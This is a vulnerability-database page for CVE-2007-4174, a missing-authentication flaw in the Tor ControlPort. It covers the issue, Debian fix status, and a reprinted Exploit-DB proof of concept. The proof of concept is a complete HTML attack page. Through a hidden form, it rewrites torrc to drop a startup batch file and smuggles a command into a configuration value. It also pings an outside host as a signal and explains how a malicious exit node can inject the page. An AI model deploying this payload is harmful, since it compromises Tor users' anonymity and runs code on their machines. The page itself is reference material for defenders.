CVE-2007-4174
Description
Tor before 0.1.2.16, when ControlPort is enabled, does not properly restrict commands to localhost port 9051, which allows remote attackers to modify the torrc configuration file, compromise anonymity, and have other unspecified impact via HTTP POST data containing commands without valid authentication, as demonstrated by an HTML form (1) hosted on a web site or (2) injected by a Tor exit node.
Predictions
Heuristic predictions, AS-IS, for prioritization only.
Mitigations
No mitigations published for this CVE yet.
The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.
✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here withsource_tier=community-verified.
Exploits
Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.
Exploit-DB
Tor 0.1.2.15 - ControlPort Missing Authentication Unauthorized Access
source: https://www.securityfocus.com/bid/25188/info
Tor is prone to an unauthorized-access vulnerability due to a design error when handling multiple connections to the ControlPort.
An attacker can exploit this issue to reconfigure Tor and significantly weaken the anonymity provided by the software.
Tor 0.1.2.15 is confirmed vulnerable; previous versions may also be affected.
<!--
Tor < 0.1.2.16 with ControlPort enabled ( not default )
Exploit for Tor ControlPort "torrc" Rewrite Vulnerability
http://secunia.com/advisories/26301
Rewrites the torrc to log to a different location: C:\Documents and
Settings\All Users\Start Menu\Programs\Startup\t.bat
Also enables debug logging, and an erroneous ExitPolicy looking
something like this: reject*:1337\'&' calc.exe this will output:
[debug] parse_addr_policy(): Adding new entry 'reject*:1337'& calc.exe
to the debug log -> t.bat which will run calc.exe on next boot.
This is not very silent though, t.bat will contain something like 45
rows of crap which the user will see in about 1 sec, drop me a mail if
you have a better way.
Either have a TOR user visit this HTML or inject it into her traffic
when you're a TOR exit.
If you inject, just replace </HEAD> with everything in <HEAD> + </HEAD>
( that's why I tried to fit everything inside <HEAD />), and fix
Content-Length
// elgCrew _AT_ safe-mail.net
-->
<html>
<head>
<script language="javascript">
window.onload = function()
{
cmd = 'cls & echo off & ping -l 1329 my.tcpdump.co -n 1 -w 1 >
NUL & del t.bat > NUL & exit';
inject = '\r\nAUTHENTICATE\r\nSETCONF Log=\"debug-debug file
C:\\\\Documents and Settings\\\\All Users\\\\Start
Menu\\\\Programs\\\\Startup\\\\t.bat\"\r\nSAVECONF\r\nSIGNAL
RELOAD\r\nSETCONF ExitPolicy=\"reject*:1337\\\'&' + cmd +
'&\"\r\nSETCONF Log=\"info file c:\\\\tor.txt\"\r\nSAVECONF\r\nSIGNAL
RELOAD\r\n';
form51.area51.value = inject;
document.form51.submit();
}
</script>
<form target="hiddenframe" name="form51"
action="http://localhost.mil.se:9051" method=POST
enctype="multipart/form-data">
<input type=hidden name=area51>
</form>
<iframe width=0 height=0 frameborder=0 name="hiddenframe"></iframe>
</head>
<body>
<pre>
----
| y0! |
----
\ \_\_ _/_/
\ (oo)\_______
|_|\ )*
||----w |
|| ||
</pre>
</body>
</html>Tor < 0.1.2.16 - ControlPort Remote Rewrite
OS impact
Debian Fixed 5 releases
| Version | Status | Fixed in |
|---|---|---|
| trixie | Fixed | 0.1.2.16-1 |
| sid | Fixed | 0.1.2.16-1 |
| forky | Fixed | 0.1.2.16-1 |
| bullseye | Fixed | 0.1.2.16-1 |
| bookworm | Fixed | 0.1.2.16-1 |
References
Community-verified mitigations for this CVE will appear above when contributors publish them.
Verify integrity in audit chain (admin only). AS-IS.